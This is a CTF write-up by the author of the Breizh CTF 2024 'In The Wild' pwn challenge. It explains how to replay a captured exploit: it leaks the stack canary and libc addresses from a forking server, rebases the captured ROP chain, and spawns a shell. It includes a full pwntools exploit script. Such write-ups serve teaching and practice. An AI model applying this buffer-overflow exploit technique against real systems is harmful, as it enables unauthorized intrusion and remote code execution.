Breizh CTF 2024 - Write-up CTF A/D - In The Wild - Pwn

5 minute read

Here is the write-up of Vault challenge which I created for the Breizh CTF 2024. This is a Pwn challenge classified as medium.

Description

During the CTF A/D our team had one of our services compromised, running a binary written in the C of our memories. We no longer have control over the service, so please help us by getting it back...

To help you, we only have the recording of the exploit launched by the opposing team, so we hope that's enough for you. All the best!

Difficulty : Medium

Exploitation

This challenge is particular, we only have a pcap capture. We need to produce a valid exploit for the remote server. Let’s analyse the capture with Wireshark:

We have basics TCP flows between a client an a server.

Here is the first flow. In red is the client data sent, and in blue is the response of the server. The server seems to print the content of the data sent, but it seems to have garbage data after the “A”.

We could send some test data to the remote server to observe if there is a first vulnerability with it.

We get a leak when we send the same input, if we send fewer characters, we didn’t get a leak and we got a response of the server. May the server crash in the first case ? The first possibility is a canary check, a buffer overflow occurs and the canary has been rewritten by the input so the program crashes. This could match the leak. Maybe the input is printed with a printf call, which stops at a null byte. The first character of a canary is always a null byte.

The size of the input sent is constitue of 1032 and one “\n”. Adresses are aligned by 8 bytes so this will leak seven full bytes of the canary.

Now we could make a pyshark Python script (which uses tshark) to parse the pcap and use the data of the requests in the capture:

def logbase(): log.info("libc base = %#x" % libc.address)
def logleak(name, val): info(name+" = %#x" % val)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
def rcu(delim): return io.recvuntil(delim)
def rcv(number): return io.recv(number)
def rcvl(): return io.recvline()

def conn():
    global io
    io = remote(host, int(port))
    return io

pcap_file = 'inthewild.pcap'
capture = pyshark.FileCapture(pcap_file)

i = 0
payloads = []
info("Get payloads")
for packet in capture:
    if packet.transport_layer == "TCP":
        try :
            data = bytes.fromhex(packet.tcp.payload.replace(':', ''))
            print(data)
            if i % 2 == 0:
                payloads.append(data)
            i+=1
        except:
            continue

print("------------------")

info("Leak canary")
conn()

sl(payloads[0][:-1])
pad = len(payloads[0])-1

leak = io.recv(3000)
#print(leak)
canary = unpack(leak[pad:pad+8],"all")
canary &= 0xffffffffffffff00

logleak("Canary",canary)

We send the same data and get the leak. We remove the first byte of the address because it is actually a null byte.

It looks like a good canary value, we get the same value if we run once again the script, so the server may fork and keep his canary value.

The next flow looks like the first one and the third one but with a different padding number different. There are more “A” bytes that are sent. We could get the same leak with our script.

The second leak is the return address because the number of A is 16 bytes higher than for the first leak (canary & RBP save).

For the third leak, we could make the assumption that this is a libc leak, knowing the appearance of libc addresses but also the interest of the leak because it’s the last one. The last request is going to confirm this.

It looks like the exploitation of the buffer overflow spawns a shell.

We could print the addresses:

0xa007b72927c9b700 - Canary
0xdead             - RBP save
0x7f23aa1adf99     - return adresses
0x0                - argument
0x7f23aa1ac7e5     - address ?
0x4                - argument
0x7f23aa27d990     - address ?
0x7f23aa1adf99     - address ? 
0x1                - [...]
0x7f23aa1ac7e5
0x4
0x7f23aa27d990
0x7f23aa282dfd
0x0
0x7f23aa1adf99
0x0
0x7f23aa1ac7e5
0x7f23aa31b031
0x7f23aa259a10

It looks like a rop chain. If we see the first bytes of the address 0x7f23aa1adf99 which is the return address, it is really near the address of the libc leak in the pcap which is : 0x7f23aa1ac24a.

Now we confirm this libc leak was used to bypass ASLR and calculate return addresses for the ROP chain.

We need to calculate the difference in offset between leak libc and addresses used in the rop chain to get the offset for our ROP chain.

info("Disecting rop payload")
pad = rop_payload.count(b'A')
info(f"Padding is {str(pad)}")
rop_payload = rop_payload.replace(b"A",b"")
print(rop_payload)

rop = []
for i in range(0,len(rop_payload),8):
    data = unpack(rop_payload[i:i+8],"all")
    print(hex(data))
    if "0x7f23" in hex(data):
        if leak_libc_pcap > data: # Here calculate difference between leak libc pcap and the rop of the pcap to do same difference with our leak
            diff = leak_libc_pcap - data 
            to_add = leak_libc - diff
        else:
            diff = data - leak_libc_pcap
            to_add = leak_libc + diff
        #print(hex(to_add))
    else:
        to_add = data
    rop.append(to_add)

rop.pop(0) # remove pcap canary

We now have to chain the canary leaked by ourselves and put the rest of the rop chain. (We could guess this ROP chain executes dup2 calls and system("/bin/sh"))

pld = pad * b'A'
pld += p64(canary)
for i in rop:
    #print(hex(i))
    pld += p64(i)

info("Get this shell")
conn()
sl(pld)

io.recv(3000)
time.sleep(1)
io.sendline(b"cat /flag*")
io.interactive()

Flag : BZHCTF{C47ch1n6_1n_7h3_w1ld_3xpl017_l1k3_4_b055_EZ!!}

Full script

from pwn import *
import pyshark
import time 


if len(sys.argv) < 3:
    print("Usage solve.py <host> <port>")
    exit(1)
_, host, port = sys.argv

def logbase(): log.info("libc base = %#x" % libc.address)
def logleak(name, val): info(name+" = %#x" % val)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
def rcu(delim): return io.recvuntil(delim)
def rcv(number): return io.recv(number)
def rcvl(): return io.recvline()

def conn():
    global io
    io = remote(host, int(port))
    return io

pcap_file = 'inthewild.pcap'
capture = pyshark.FileCapture(pcap_file)

i = 0
payloads = []
info("Get payloads")
for packet in capture:
    if packet.transport_layer == "TCP":
        try :
            data = bytes.fromhex(packet.tcp.payload.replace(':', ''))
            print(data)
            if i % 2 == 0:
                payloads.append(data)
            if i == 5:
                leak_libc_pcap = data
            if i == 6:
                rop_payload = data
            i+=1
        except:
            continue

print("------------------")
#print(payloads)

info("Leak canary")
conn()

sl(payloads[0][:-1])
pad = len(payloads[0])-1

leak = io.recv(3000)
#print(leak)
canary = unpack(leak[pad:pad+8],"all")
canary &= 0xffffffffffffff00

logleak("Canary",canary)

io.close()

#info("Leak ret address")
conn()

sl(payloads[1][:-1])
pad = len(payloads[1])-1

leak = io.recv(3000)
#print(leak)
leak = unpack(leak[pad+1:pad+9],"all")

logleak("ret address",leak)

io.close()

#info("Leak libc address")
conn()

sl(payloads[2][:-1])
pad = len(payloads[2])-1

leak = io.recv(3000)
#print(leak)
leak_libc = unpack(leak[pad+1:pad+9],"all")

logleak("libc address",leak_libc)
io.close()

leak_libc_pcap = unpack(leak_libc_pcap[-6:],"all")
logleak("libc address pcap",leak_libc_pcap)

info("Disecting rop payload")
pad = rop_payload.count(b'A')
info(f"Padding is {str(pad)}")
rop_payload = rop_payload.replace(b"A",b"")
print(rop_payload)

rop = []
for i in range(0,len(rop_payload),8):
    data = unpack(rop_payload[i:i+8],"all")
    #print(hex(data))
    if "0x7f23" in hex(data):
        if leak_libc_pcap > data: # Here calculate difference between leak libc pcap and the rop of the pcap to do same difference with our leak
            diff = leak_libc_pcap - data 
            to_add = leak_libc - diff
        else:
            diff = data - leak_libc_pcap
            to_add = leak_libc + diff
        #print(hex(to_add))
    else:
        to_add = data
    rop.append(to_add)

rop.pop(0) # remove pcap canary

pld = pad * b'A'
pld += p64(canary)
for i in rop:
    #print(hex(i))
    pld += p64(i)

info("Get this shell")
conn()
sl(pld)

io.recv(3000)
time.sleep(1)
io.sendline(b"cat /flag*")
io.interactive()